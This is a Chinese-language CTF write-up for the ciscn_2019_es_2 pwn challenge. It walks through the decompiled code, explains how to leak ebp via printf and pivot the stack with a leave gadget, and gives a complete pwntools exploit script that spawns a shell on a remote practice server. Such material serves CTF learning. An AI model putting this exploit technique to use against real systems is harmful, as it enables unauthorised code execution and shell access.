解题思路
反编译
undefined4 main(void) {
EVP_PKEY_CTX *in_stack_fffffff0; init(in_stack_fffffff0); puts("Welcome, my friend. What\'s your name?"); vul(); return 0; } void vul(void) {
undefined local_2c [40]; memset(local_2c,0,0x20); read(0,local_2c,0x30); printf("Hello, %s\n",local_2c); read(0,local_2c,0x30); printf("Hello, %s\n",local_2c); return; } void hack(void) {
system("echo flag"); return; }
从反编译结果来看,漏洞还是很清楚的,vul中的read函数提供溢出点,hack函数提供了system函数调用。
难点&思路
第一个是溢出点从局部变量大小和读取长度限制来看,可以溢出,但长度不长。测试后,溢出点位于第44字节,即只能设置4字节返回地址。
undefined local_2c [40]; read(0,local_2c,0x30);
再就是hack函数,system参数需要结构,但从上面可以看出,普通溢出不能构造更多的参数。 因此,难点是如何扩大溢出长度? 从编和反编译代码来看,没有有效途径,但是有一个疑点:返回地址前面是ebp地址,如果溢出只能覆盖到返回地址,那么另外一个能影响的就是ebp,是否可以通过控制ebp来控制下次的执行? 经过反复调试发现,返回地址为leave会将栈址降低,跳到局部变量范围,那就可以通过read函数输入需要的参数信息。 然后,剩下最后一个问题,ebp的地址如何设置? vul的两次read和printf很值得分析,从前面分析得知,read长度限制只比局部变量多8个字节,这8个字节就是ebp以及函数返回地址,而printf以字符串格式打印,那将局部变量全部填充为非0字节,就能打印出后面8个字节的内容。(如果8个字节中有0x00,那确实也会存在阶段的问题),还好,经过测试,该方法有效。
解题脚本
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
#sh = process('./ciscn_2019_es_2')
sh = remote('node4.buuoj.cn',28365)
vuln_addr = 0x08048625
system_plt = 0x08048400
vuln_leave_addr = 0x080485fd
sh.recvline()
pad = '0'*39
sh.sendline(pad.encode())
text = sh.recvline()
text += sh.recvline()
addr_s = text[47:51]
ebp_addr = int.from_bytes(addr_s, 'little')
print("addr:%#x" % ebp_addr)
#ebp_addr = 0xffffd2c8
#exp = 'sh'.encode() + p8(0) + p8(0) + p32(0) + p32(0) + p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38) + p32(0)
exp = p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38 + 12) + 'sh'.encode() + p16(0)
payload = exp + ('2'*24).encode() + p32(ebp_addr - 0x3c) + p32(vuln_leave_addr)
sh.send(payload)
sh.recvline()
with open('payload.txt', 'wb') as f:
f.write(('0'*47).encode() + '\n'.encode())
f.write(payload)
sh.interactive()
总结
跟之前一样,这个思路其实也是比较快就想到了,但是卡在如何利用ebp来跳转上,费了很多时间,没想到leave还会降低栈址, 其中的ebp_addr-0x3c经过实验得出;另外就是在做本题时,在本机实验时,system不会wait,导致排查费了较多时间,谁知上靶机刚刚滴,没有任何问题,欲哭无泪。。。